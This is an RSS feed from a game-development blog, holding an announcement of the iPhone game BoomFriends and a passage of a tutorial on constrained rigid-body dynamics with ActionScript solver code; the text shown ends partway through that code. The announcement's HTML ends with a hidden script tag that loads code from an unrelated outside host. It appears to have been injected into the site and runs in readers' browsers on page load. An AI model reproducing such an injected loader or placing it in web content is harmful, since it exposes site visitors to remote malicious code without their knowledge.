<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>generalrelativity</title>
	<atom:link href="http://blog.generalrelativity.org/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://blog.generalrelativity.org</link>
	<description>Game-Oriented Development</description>
	<pubDate>Fri, 25 Jun 2010 23:40:02 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.5</generator>
	<language>en</language>
			<item>
		<title>iPhone Game: BoomFriends!</title>
		<link>http://blog.generalrelativity.org/iphone/iphone-game-boomfriends/</link>
		<comments>http://blog.generalrelativity.org/iphone/iphone-game-boomfriends/#comments</comments>
		<pubDate>Sat, 19 Jun 2010 13:12:21 +0000</pubDate>
		<dc:creator>drew</dc:creator>
		
		<category><![CDATA[iPhone]]></category>

		<guid isPermaLink="false">http://blog.generalrelativity.org/?p=310</guid>
		<description><![CDATA[My first iPhone game just got approved. It&#8217;s called BoomFriends, and it&#8217;s a color matching game with a Rubik&#8217;s Cube-like mechanic for moving the 2D grid around.
Check out the game page (there&#8217;s a quick gameplay trailer), or go grab it from the app store!

]]></description>
			<content:encoded><![CDATA[<p>My first iPhone game just got approved. It&#8217;s called BoomFriends, and it&#8217;s a color matching game with a Rubik&#8217;s Cube-like mechanic for moving the 2D grid around.</p>
<div class="wp-caption aligncenter" style="width: 330px"><a href="http://games.generalrelativity.org/boomfriends"><img class=" " title="Boom01" src="http://games.generalrelativity.org/boomfriends/images/BoomFriendsScreen01.jpg" alt="Landing Screen" width="320" height="480" /></a><p class="wp-caption-text">Landing Screen</p></div>
<p>Check out the <a href="http://games.generalrelativity.org/boomfriends" target="_self">game page</a> (there&#8217;s a quick gameplay trailer), or go grab it from the app store!</p>
<p><a href="http://itunes.com/apps/boomfriends"><img class="alignnone" src="http://games.generalrelativity.org/boomfriends/images/App_Store_Badge_EN.jpg" alt="" width="200" height="69" /></a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.generalrelativity.org/iphone/iphone-game-boomfriends/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Constrained Dynamics 2: Joints and Global Constraints</title>
		<link>http://blog.generalrelativity.org/actionscript-30/constrained-dynamics-2-joints-and-global-constraints/</link>
		<comments>http://blog.generalrelativity.org/actionscript-30/constrained-dynamics-2-joints-and-global-constraints/#comments</comments>
		<pubDate>Mon, 15 Feb 2010 04:03:37 +0000</pubDate>
		<dc:creator>drew</dc:creator>
		
		<category><![CDATA[ActionScript 3.0]]></category>

		<category><![CDATA[Mathematics]]></category>

		<category><![CDATA[Physics]]></category>

		<guid isPermaLink="false">http://blog.generalrelativity.org/?p=219</guid>
		<description><![CDATA[In the previous article we implemented a particle constrained to a curve in two-dimensional space. We&#8217;ll expand on the concepts presented there and go through the process of creating modular constraints which can be easily interconnected. You&#8217;ll want to have some experience with 2D rigid body dynamics as we&#8217;ll be leaving behind the simplicity of [...]]]></description>
			<content:encoded><![CDATA[<p>In the <a href="http://blog.generalrelativity.org/actionscript-30/constrained-dynamics-1-particle-constrained-to-curve/">previous article</a> we implemented a particle constrained to a curve in two-dimensional space. We&#8217;ll expand on the concepts presented there and go through the process of creating modular constraints which can be easily interconnected. You&#8217;ll want to have some experience with 2D rigid body dynamics as we&#8217;ll be leaving behind the simplicity of particles for now. If &#8220;rigid body dynamics&#8221; sounds foreign to you, I recommend starting with the first 2 articles by Chris Hecker <a href="http://chrishecker.com/Rigid_Body_Dynamics">here</a>.</p>
<p>As a fun little introduction to what we&#8217;ll be solving, look at the multi-body simulation below. The wheel has a torque applied and each body experiences a gravitational force. 1 ground constraint, 3 revolute joints and a prismatic joint constrain the system. Click the checkbox to toggle torque.</p>
<p style="text-align: center;">
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
			id="fm_sliderCrank_980706674"
			class="flashmovie"
			width="360"
			height="260">
	<param name="movie" value="http://blog.generalrelativity.org/blogSWFs/sliderCrank.swf" />
	<!--[if !IE]>-->
	<object	type="application/x-shockwave-flash"
			data="http://blog.generalrelativity.org/blogSWFs/sliderCrank.swf"
			name="fm_sliderCrank_980706674"
			width="360"
			height="260">
	<!--<![endif]-->
		
<p style="text-align: center;"><a href="http://adobe.com/go/getflashplayer"><img class="aligncenter" src="http://www.adobe.com/images/shared/download_buttons/get_flash_player.gif" alt="Get Adobe Flash player" /></a></p>
<p style="text-align: center;">
	<!--[if !IE]>-->
	</object>
	<!--<![endif]-->
</object>
<h5 style="text-align: center;">Demo: Roll over to simulate slider-crank.</h5>
<p>The reason I wanted to write this article is because I found an imbalance between theory and implementation in the decent amount of freely available literature on the topic. The major rift exists, I think, because actual implementation involves radical optimizations that transform the tidy mathematical nature of the theory. In the concrete process and examples below, we&#8217;ll avoid this deviation with the hope that the material presented is a bit more accessible.</p>
<h4>Global Form of the Constraint Problem</h4>
<p>When we solved the particle-to-curve problem, it was sufficient to write the equations of motion in terms of the parabolic constraint. In the case that multiple constraints are acting upon a physical element, we need to write the equations of motion in terms of <em>all</em> constraints, because solving one may violate another. We could decide on a system configuration and solve each constraint force to derive the equations of motion, but that would be a <em>lot</em> of work; and not just once, but for each unique configuration.</p>
<p>Instead, we can construct a linear system of the form <strong>Ax</strong> = <strong>b</strong>, which can be solved for <strong>x</strong> generically. This allows us to piece together constraints anyway we like, which is a much more manageable way of setting up a simulation than sketching out the equations of motion for a giant, complex configuration. Now all we have to do is create this system, which basically just involves a lot of organization.</p>
<p>First, we need to compile the state of the system into a vector, <strong>q</strong>:</p>
<p style="text-align: center;"><img class="alignnone" src="http://blog.generalrelativity.org/images/constraints2/q.gif" alt="" width="339" height="20" /></p>
<p style="text-align: left;">where <em>n</em> is the number of bodies. Each body is defined by an index, its position along the world x and y-axes and its orientation (<em>θ</em>). Next, we compile all constraints imposed on the system into the global constraint vector, <strong>C</strong>:</p>
<p style="text-align: center;"><img class="alignnone" src="http://blog.generalrelativity.org/images/constraints2/C.gif" alt="" width="169" height="20" /></p>
<p style="text-align: left;">where <em>s</em> is the number of constraint equations. Everything we need to construct the aforementioned linear system is either directly derived from <strong>q</strong> and <strong>C</strong>, or ordered to match these vectors. Now we&#8217;ll see what we&#8217;re really working toward (see <a href="http://www.cs.cmu.edu/~baraff/sigcourse/notesf.pdf">Witkin</a> for derivation):</p>
<p style="text-align: center;"><strong>Equation 1:</strong></p>
<p style="text-align: center;"><img class="alignnone" src="http://blog.generalrelativity.org/images/constraints2/globalConstraintEquation.gif" alt="" width="344" height="23" /></p>
<p style="text-align: left;">This looks a little scary at first, but it&#8217;s actually not that bad. <strong>M</strong><sup><strong>-1</strong></sup> is a <a href="http://en.wikipedia.org/wiki/Diagonal_matrix">diagonal matrix</a> of dimension <em>3n</em>, where each element on the diagonal is the inverse intertial term associated with the element at the corresponding index in <strong>q:</strong></p>
<p style="text-align: center;"><img class="aligncenter" src="http://blog.generalrelativity.org/images/constraints2/invMassMatrix.gif" alt="" /></p>
<p style="text-align: left;">Where <em>m</em><sub><em>k</em></sub> is the mass of body <em>k </em>and <em>I</em><sub><em>k</em></sub> is the moment of inertia about the center of mass of body <em>k</em>. Looking at <strong>q</strong>, we see that mass is associated with translation and moment of inertia is associated with rotation, which is what we know from the <a href="http://en.wikipedia.org/wiki/Newton–Euler_equations">Newton-Euler equations</a>.</p>
<p style="text-align: left;"><strong>F</strong><em><sub>ext</sub></em> is the global vector of all external forces and torques exerted on the bodies:</p>
<p style="text-align: center;"><img class="aligncenter" src="http://blog.generalrelativity.org/images/constraints2/globalForceVector.gif" alt="" /></p>
<p style="text-align: left;">which is of dimension <em>3n</em>, also. Here, <em>τ<sub>k</sub></em> is the torque acting on body <em>k</em>. We could now write the <em>unconstrained</em> equations of motion as:</p>
<p style="text-align: center;"><img class="alignnone" src="http://blog.generalrelativity.org/images/constraints2/unconstrainedGlobalEOM.gif" alt="" width="105" height="21" /></p>
<p style="text-align: left;">which should make sense of all the purposeful ordering we&#8217;ve seen so far.</p>
<p style="text-align: left;">Next, we&#8217;ll define the only radically new term introduced in Equation 1, <strong>J.</strong> This is known as the <a href="http://en.wikipedia.org/wiki/Jacobian_matrix#Jacobian_matrix">Jacobian</a> of <strong>C</strong> and is an <em>s</em>-by-<em>3</em><em>n </em>matrix, being composed of 1 row per constraint function (element of <strong>C</strong>) and 3 columns per body (<em>x</em>, <em>y</em> and <em>θ</em>). Row <em>i</em> is the <a href="http://en.wikipedia.org/wiki/Gradient">gradient</a> of the <em>ith</em> constraint function with respect to <strong>q</strong>:</p>
<p style="text-align: center;"><img class="alignnone" src="http://blog.generalrelativity.org/images/constraints2/JacobianRow.gif" alt="" width="242" height="46" /></p>
<p style="text-align: left;">Since a constraint generally involves at most 2 bodies, the gradient will be composed of mostly zeroes. The global Jacobian is:</p>
<p style="text-align: center;"><img class="alignnone" src="http://blog.generalrelativity.org/images/constraints2/J.gif" alt="" /></p>
<p style="text-align: left;">This all might seem a bit abstract right now, but we&#8217;ll see that these terms are easy to construct in practice when we derive a few constraints. The time derivative of the Jacobian is built the same way, but with the velocity constraint vector:</p>
<p style="text-align: center;"><img class="alignnone" src="http://blog.generalrelativity.org/images/constraints2/JDot.gif" alt="" /></p>
<p style="text-align: left;">The coefficients <em>ks</em> and <em>kd</em> of equation 1 are spring and drag terms, respectively, and used to correct error. Because each constraint equation should equal zero when satisfied, the amount of error is defined in the evaluation of the constraint functions.</p>
<p style="text-align: left;">Finally, we show how Equation 1 relates to the general form of a linear system mentioned above:</p>
<p style="text-align: center;"><img class="aligncenter" src="http://blog.generalrelativity.org/images/constraints2/globalConstraintEquationGeneral.gif" alt="" width="286" height="66" /></p>
<p style="text-align: left;"><strong>A</strong> is an <em>s</em>-by-<em>s </em>matrix, and <strong>x</strong> and <strong>b</strong> are vectors of dimension <em>s</em>. Solving for <strong>λ </strong>leads to the global constraint force vector:</p>
<p style="text-align: center;"><img class="aligncenter" src="http://blog.generalrelativity.org/images/constraints2/constraintForceSolution.gif" alt="" width="76" height="20" /></p>
<p style="text-align: left;">Finally, the equations of motion for the constrained system can be written abstractly as:</p>
<p style="text-align: center;"><img class="alignnone" src="http://blog.generalrelativity.org/images/constraints2/constrainedGlobalEOM.gif" alt="" width="160" height="21" /></p>
<p style="text-align: left;">
<p><span style="font-weight: normal;">Now we have a method for formulating constraints which can participate in the global system:</span></p>
<p style="text-align: left;">
<ol>
<li>Write the positional constraint, <strong>C</strong>, as a function of <strong>q</strong>.</li>
<li>Take the derivative of <strong>C</strong> to solve for the velocity constraint.</li>
<li>Solve for the Jacobian of <strong>C</strong>.</li>
<li>Solve for the derivative of the Jacobian with respect to time.</li>
</ol>
<h4>Computer Implementation</h4>
<div>With the above characterization, we can write an interface to describe how a constraint is accessed by the global solver. In my implementation below, this is a simple abstract class:</div>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #9900cc; font-weight: bold;">class</span> Constraint
<span style="color: #000000;">&#123;</span>
&nbsp;
	<span style="color: #009900;">//index in global constraint vector</span>
	<span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #6699cc; font-weight: bold;">var</span> <span style="color: #004993;">index</span><span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">uint</span>;
&nbsp;
	<span style="color: #009900;">//indicates the number of constraint functions</span>
	<span style="color: #009900;">//this is equal to the number of system DOF it removes</span>
	<span style="color: #0033ff; font-weight: bold;">internal</span> <span style="color: #339966; font-weight: bold;">function</span> <span style="color: #0033ff; font-weight: bold;">get</span> numJacobianRows<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span> <span style="color: #000000; font-weight: bold;">:</span> <span style="color: #004993;">uint</span>
	<span style="color: #000000;">&#123;</span>
		<span style="color: #009900;">//abstract</span>
		<span style="color: #0033ff; font-weight: bold;">return</span> <span style="color: #000000; font-weight:bold;">0</span>;
	<span style="color: #000000;">&#125;</span>
&nbsp;
	<span style="color: #009900;">//populate the system matrices and vectors</span>
	<span style="color: #0033ff; font-weight: bold;">internal</span> <span style="color: #339966; font-weight: bold;">function</span> solve<span style="color: #000000;">&#40;</span> J<span style="color: #000000; font-weight: bold;">:</span>MatrixND, JDot<span style="color: #000000; font-weight: bold;">:</span>MatrixND, C<span style="color: #000000; font-weight: bold;">:</span>Vector. <span style="color: #000000;">&#41;</span> <span style="color: #000000; font-weight: bold;">:</span> <span style="color: #0033ff; font-weight: bold;">void</span>
	<span style="color: #000000;">&#123;</span>
		<span style="color: #009900;">//abstract</span>
	<span style="color: #000000;">&#125;</span>
&nbsp;
<span style="color: #000000;">&#125;</span></pre></div></div>

<p>Note that while we use <strong>C&#8217;</strong> to solve for <strong>J&#8217;</strong>,<strong> </strong>we don&#8217;t actually need to explicitly contribute to the velocity constraint because <strong>C&#8217;</strong> = <strong>Jq&#8217; </strong><span>and can be solved at the global level without additional input from the individual constraints. Although this adds computational overhead, I like the generality achieved. Further, because we can alternatively solve for </span><strong>J&#8217;</strong><span> by directly taking the derivative of </span><strong>J</strong><span> with respect to time, solving for </span><strong>C&#8217;</strong><span> becomes seemingly unnecessary altogether. That said, I&#8217;ve found that the intuition-confirming statement a velocity constraint makes is worth the little bit of extra differentiation.</span></p>
<p>Now we&#8217;ll see how the global system is constructed and solved. Below is the relevant portion of the ConstraintSolver class, minus some declarations for conciseness&#8217; sake. It allows each constraint to evaluate its very own special part of the structure via the above interface:</p>
<p style="text-align: left;">

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #9900cc; font-weight: bold;">class</span> ConstraintSolver
<span style="color: #000000;">&#123;</span>
&nbsp;
	<span style="color: #0033ff; font-weight: bold;">private</span> <span style="color: #6699cc; font-weight: bold;">var</span> numJacobianRows<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">uint</span>; <span style="color: #009900;">//global # of constraint functions</span>
	<span style="color: #0033ff; font-weight: bold;">private</span> <span style="color: #6699cc; font-weight: bold;">var</span> ode<span style="color: #000000; font-weight: bold;">:</span>DynamicsODE; 
&nbsp;
	<span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #339966; font-weight: bold;">function</span> addConstraint<span style="color: #000000;">&#40;</span> constraint<span style="color: #000000; font-weight: bold;">:</span>Constraint, initialize<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Boolean</span> = <span style="color: #0033ff; font-weight: bold;">false</span> <span style="color: #000000;">&#41;</span> <span style="color: #000000; font-weight: bold;">:</span> <span style="color: #0033ff; font-weight: bold;">void</span>
	<span style="color: #000000;">&#123;</span>
		constraint.<span style="color: #004993;">index</span> = numJacobianRows;
		numJacobianRows <span style="color: #000000; font-weight: bold;">+</span>= constraint.numJacobianRows;
		constraints.<span style="color: #004993;">push</span><span style="color: #000000;">&#40;</span> constraint <span style="color: #000000;">&#41;</span>;
		<span style="color: #0033ff; font-weight: bold;">if</span><span style="color: #000000;">&#40;</span> initialize <span style="color: #000000;">&#41;</span> initSystem<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
	<span style="color: #000000;">&#125;</span>
&nbsp;
	<span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #339966; font-weight: bold;">function</span> initSystem<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span> <span style="color: #000000; font-weight: bold;">:</span> <span style="color: #0033ff; font-weight: bold;">void</span>
	<span style="color: #000000;">&#123;</span>
		W = <span style="color: #0033ff; font-weight: bold;">new</span> MatrixND<span style="color: #000000;">&#40;</span> ode.<span style="color: #004993;">length</span>, ode.<span style="color: #004993;">length</span>, <span style="color: #0033ff; font-weight: bold;">false</span> <span style="color: #000000;">&#41;</span>;
		W.diagonal = ode.invMass;
		J = <span style="color: #0033ff; font-weight: bold;">new</span> MatrixND<span style="color: #000000;">&#40;</span> numJacobianRows, W.m, <span style="color: #0033ff; font-weight: bold;">false</span> <span style="color: #000000;">&#41;</span>;
		JDot = <span style="color: #0033ff; font-weight: bold;">new</span> MatrixND<span style="color: #000000;">&#40;</span> numJacobianRows, W.m, <span style="color: #0033ff; font-weight: bold;">false</span> <span style="color: #000000;">&#41;</span>;
		C = <span style="color: #0033ff; font-weight: bold;">new</span> Vector.<span style="color: #000000;">&#40;</span> numJacobianRows, <span style="color: #0033ff; font-weight: bold;">true</span> <span style="color: #000000;">&#41;</span>;
		<span style="color: #004993;">b</span> = <span style="color: #0033ff; font-weight: bold;">new</span> Vector.<span style="color: #000000;">&#40;</span> numJacobianRows, <span style="color: #0033ff; font-weight: bold;">true</span> <span style="color: #000000;">&#41;</span>;
		lambda = <span style="color: #0033ff; font-weight: bold;">new</span> Vector.<span style="color: #000000;">&#40;</span> numJacobianRows, <span style="color: #0033ff; font-weight: bold;">true</span> <span style="color: #000000;">&#41;</span>;
	<span style="color: #000000;">&#125;</span>
&nbsp;
	<span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #339966; font-weight: bold;">function</span> solve<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span> <span style="color: #000000; font-weight: bold;">:</span> <span style="color: #0033ff; font-weight: bold;">void</span>
	<span style="color: #000000;">&#123;</span>
&nbsp;
		<span style="color: #0033ff; font-weight: bold;">for</span> <span style="color: #0033ff; font-weight: bold;">each</span><span style="color: #000000;">&#40;</span> <span style="color: #6699cc; font-weight: bold;">var</span> constraint<span style="color: #000000; font-weight: bold;">:</span>Constraint <span style="color: #0033ff; font-weight: bold;">in</span> _constraints <span style="color: #000000;">&#41;</span>
		<span style="color: #000000;">&#123;</span>
			constraint.solve<span style="color: #000000;">&#40;</span> J, JDot, C <span style="color: #000000;">&#41;</span>;
		<span style="color: #000000;">&#125;</span>
&nbsp;
		<span style="color: #6699cc; font-weight: bold;">var</span> JW<span style="color: #000000; font-weight: bold;">:</span>MatrixND = J.times<span style="color: #000000;">&#40;</span> W <span style="color: #000000;">&#41;</span>;
		<span style="color: #6699cc; font-weight: bold;">var</span> JT<span style="color: #000000; font-weight: bold;">:</span>MatrixND = J.transpose;
		<span style="color: #6699cc; font-weight: bold;">var</span> JWJT<span style="color: #000000; font-weight: bold;">:</span>MatrixND = JW.times<span style="color: #000000;">&#40;</span> JT <span style="color: #000000;">&#41;</span>;
&nbsp;
		<span style="color: #009900;">//J'q'</span>
		<span style="color: #6699cc; font-weight: bold;">var</span> JDotqDot<span style="color: #000000; font-weight: bold;">:</span>Vector. = JDot.timesVector<span style="color: #000000;">&#40;</span> ode.v <span style="color: #000000;">&#41;</span>;
		<span style="color: #6699cc; font-weight: bold;">var</span> JWFext<span style="color: #000000; font-weight: bold;">:</span>Vector. = JW.timesVector<span style="color: #000000;">&#40;</span> ode.f <span style="color: #000000;">&#41;</span>;
&nbsp;
		<span style="color: #009900;">//C' = Jq'</span>
		<span style="color: #6699cc; font-weight: bold;">var</span> CDot<span style="color: #000000; font-weight: bold;">:</span>Vector. = J.timesVector<span style="color: #000000;">&#40;</span> ode.v <span style="color: #000000;">&#41;</span>;
&nbsp;
		<span style="color: #009900;">//b = -J'q' - JWQ - Cks - C'kd</span>
		<span style="color: #0033ff; font-weight: bold;">for</span><span style="color: #000000;">&#40;</span> <span style="color: #6699cc; font-weight: bold;">var</span> i<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">int</span> = <span style="color: #000000; font-weight:bold;">0</span>; i <span style="color: #000000; font-weight: bold;">&amp;</span>lt; numJacobianRows; i<span style="color: #000000; font-weight: bold;">++</span> <span style="color: #000000;">&#41;</span>
		<span style="color: #000000;">&#123;</span>
			<span style="color: #004993;">b</span><span style="color: #000000;">&#91;</span> i <span style="color: #000000;">&#93;</span> = <span style="color: #000000; font-weight: bold;">-</span>JDotqDot<span style="color: #000000;">&#91;</span> i <span style="color: #000000;">&#93;</span> <span style="color: #000000; font-weight: bold;">-</span> JWFext<span style="color: #000000;">&#91;</span> i <span style="color: #000000;">&#93;</span> <span style="color: #000000; font-weight: bold;">-</span> C<span style="color: #000000;">&#91;</span> i <span style="color: #000000;">&#93;</span> <span style="color: #000000; font-weight: bold;">*</span> ks <span style="color: #000000; font-weight: bold;">-</span> CDot<span style="color: #000000;">&#91;</span> i <span style="color: #000000;">&#93;</span> <span style="color: #000000; font-weight: bold;">*</span> kd;
		<span style="color: #000000;">&#125;</span>
&nbsp;
		<span style="color: #009900;">//solve the system</span>
		JWJT.solveAnalytical<span style="color: #000000;">&#40;</span> lambda, <span style="color: #004993;">b</span> <span style="color: #000000;">&#41;</span>;
&nbsp;
		<span style="color: #009900;">//constraint force = JTx</span>
		<span style="color: #6699cc; font-weight: bold;">var</span> Fc<span style="color: #000000; font-weight: bold;">:</span>Vector. = JT.timesVector<span style="color: #000000;">&#40;</span> lambda <span style="color: #000000;">&#41;</span>;
&nbsp;
		<span style="color: #009900;">//add the constraint force to the external forces</span>
		<span style="color: #0033ff; font-weight: bold;">for</span><span style="color: #000000;">&#40;</span> i = <span style="color: #000000; font-weight:bold;">0</span>; i <span style="color: #000000; font-weight: bold;">&amp;</span>lt; ode.<span style="color: #004993;">length</span>; i<span style="color: #000000; font-weight: bold;">++</span> <span style="color: #000000;">&#41;</span>
		<span style="color: #000000;">&#123;</span>
			ode.f<span style="color: #000000;">&#91;</span> i <span style="color: #000000;">&#93;</span> <span style="color: #000000; font-weight: bold;">+</span>= Fc<span style="color: #000000;">&#91;</span> i <span style="color: #000000;">&#93;</span>;
		<span style="color: #000000;">&#125;</span>
&nbsp;
	<span style="color: #000000;">&#125;</span>
&nbsp;
<span style="color: #000000;">&#125;</span></pre></div></div>

<p>With this structure in mind, we&#8217;ll now go through the process of deriving and implementing a couple constraints.</p>
<h4>Ground Constraint</h4>
<p style="text-align: left;">The first constraint we&#8217;ll derive with this method is the ground constraint, which keeps a body fixed in space. The body is not permitted to translate or rotate. First, we write the positional contraint:</p>
<p style="text-align: center;"><img class="aligncenter" src="http://blog.generalrelativity.org/images/constraints2/groundC.gif" alt="" /></p>
<p style="text-align: left;">where <em>c<sub>x</sub></em> is where the body is fixed along the global x-axis, <em>c<sub>y</sub></em> along the y, and <em>c<sub>θ</sub></em> the fixed orientation of the body. Note that <strong>0</strong> is the zero vector, [<em>0,0,0</em>]. Next, we solve the velocity constraint by taking the derivative of <strong>C</strong><sub><em>ground</em></sub> with respect to time:</p>
<p style="text-align: center;"><img class="alignnone" src="http://blog.generalrelativity.org/images/constraints2/groundCDot.gif" alt="" width="150" height="69" /></p>
<p style="text-align: left;">which simply and intuitively states that linear and angular velocity are zero. This is what we expect considering the constraint prevents the body from experiencing any motion. Next, we derive <strong>J</strong>:</p>
<p style="text-align: center;"><img class="aligncenter" src="http://blog.generalrelativity.org/images/constraints2/groundJ.gif" alt="" width="155" height="69" /></p>
<p style="text-align: left;">And, finally, the derivative of <strong>J</strong> w.r.t. time:</p>
<p style="text-align: center;"><img class="aligncenter" src="http://blog.generalrelativity.org/images/constraints2/groundJDot.gif" alt="" width="155" height="69" /></p>
<p style="text-align: left;">That was not so bad at all! The Jacobian can be a bit off-putting at times and make the problem seem more complicated than it is&#8211;just remember that we&#8217;re simply creating a matrix where each row is the gradient of a constraint function. In practice, you wouldn&#8217;t want to simulate the ground constraint, but it&#8217;s a good exercise because of how simple the math is. Other joints will have more complex positional constraints, but the underlying framework for formulating these quantities is the same.</p>
<p style="text-align: left;">
<p style="text-align: left;">The GroundConstraint class:</p>

<div class="wp_syntax"><div class="code"><pre class="actionscript3" style="font-family:monospace;"><span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #9900cc; font-weight: bold;">class</span> GroundConstraint extends Constraint
<span style="color: #000000;">&#123;</span>
&nbsp;
	<span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #6699cc; font-weight: bold;">var</span> body<span style="color: #000000; font-weight: bold;">:</span>Body2D;
&nbsp;
	<span style="color: #0033ff; font-weight: bold;">private</span> <span style="color: #6699cc; font-weight: bold;">var</span> U<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Point</span>;
	<span style="color: #0033ff; font-weight: bold;">private</span> <span style="color: #6699cc; font-weight: bold;">var</span> theta<span style="color: #000000; font-weight: bold;">:</span><span style="color: #004993;">Number</span>;
&nbsp;
	<span style="color: #0033ff; font-weight: bold;">public</span> <span style="color: #339966; font-weight: bold;">function</span> GroundConstraint<span style="color: #000000;">&#40;</span> body<span style="color: #000000; font-weight: bold;">:</span>Body2D <span style="color: #000000;">&#41;</span>
	<span style="color: #000000;">&#123;</span>
		<span style="color: #0033ff; font-weight: bold;">super</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
&nbsp;
		<span style="color: #0033ff; font-weight: bold;">this</span>.body = body;
&nbsp;
		U = body.<span style="color: #004993;">position</span>.<span style="color: #004993;">clone</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
		theta = body.theta;
&nbsp;
	<span style="color: #000000;">&#125;</span>
&nbsp;
	override <span style="color: #0033ff; font-weight: bold;">internal</span> <span style="color: #339966; font-weight: bold;">function</span> <span style="color: #0033ff; font-weight: bold;">get</span> numJacobianRows<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span> <span style="color: #000000; font-weight: bold;">:</span> <span style="color: #004993;">uint</span>
	<span style="color: #000000;">&#123;</span>
		<span style="color: #009900;">//removes all DOF</span>
		<span style="color: #0033ff; font-weight: bold;">return</span> <span style="color: #000000; font-weight:bold;">3</span>;
	<span style="color: #000000;">&#125;</span>
&nbsp;
	override <span style="color: #0033ff; font-weight: bold;">internal</span> <span style="color: #339966; font-weight: bold;">function</span> solve<span style="color: #000000;">&#40;</span> J<span style="color: #000000; font-weight: bold;">:</span>MatrixND, JDot<span style="color: #000000; font-weight: bold;">:</span>MatrixND, C<span style="color: #000000; font-weight: bold;">:</span>Vector. <span style="color: #000000;">&#41;</span> <span style="color: #000000; font-weight: bold;">:</span> <span style="color: #0033ff; font-weight: bold;">void</span>
	<span style="color: #000000;">&#123;</span>
&nbsp;
		J.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> body.<span style="color: #004993;">index</span> 	<span style="color: #000000;">&#93;</span> = <span style="color: #000000; font-weight:bold;">1</span>;
		J.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> body.<span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">1</span> 	<span style="color: #000000;">&#93;</span> = <span style="color: #000000; font-weight:bold;">0</span>;
		J.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> body.<span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">2</span> 	<span style="color: #000000;">&#93;</span> = <span style="color: #000000; font-weight:bold;">0</span>;
&nbsp;
		J.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">1</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> body.<span style="color: #004993;">index</span> 		<span style="color: #000000;">&#93;</span> = <span style="color: #000000; font-weight:bold;">0</span>;
		J.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">1</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> body.<span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">1</span> 	<span style="color: #000000;">&#93;</span> = <span style="color: #000000; font-weight:bold;">1</span>;
		J.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">1</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> body.<span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">2</span> 	<span style="color: #000000;">&#93;</span> = <span style="color: #000000; font-weight:bold;">0</span>;
&nbsp;
		J.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">2</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> body.<span style="color: #004993;">index</span> 		<span style="color: #000000;">&#93;</span> = <span style="color: #000000; font-weight:bold;">0</span>;
		J.A<span style="color: #000000;">&#91;</span> <span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">2</span> <span style="color: #000000;">&#93;</span><span style="color: #000000;">&#91;</span> body.<span style="color: #004993;">index</span> <span style="color: #000000; font-weight: bold;">+</span> <span style="color: #000000; font-weight:bold;">1</span> 	<span style="color: #000000;">&#93;</span> = <span style="color: #000000; font-weight:bold;">0</span>;
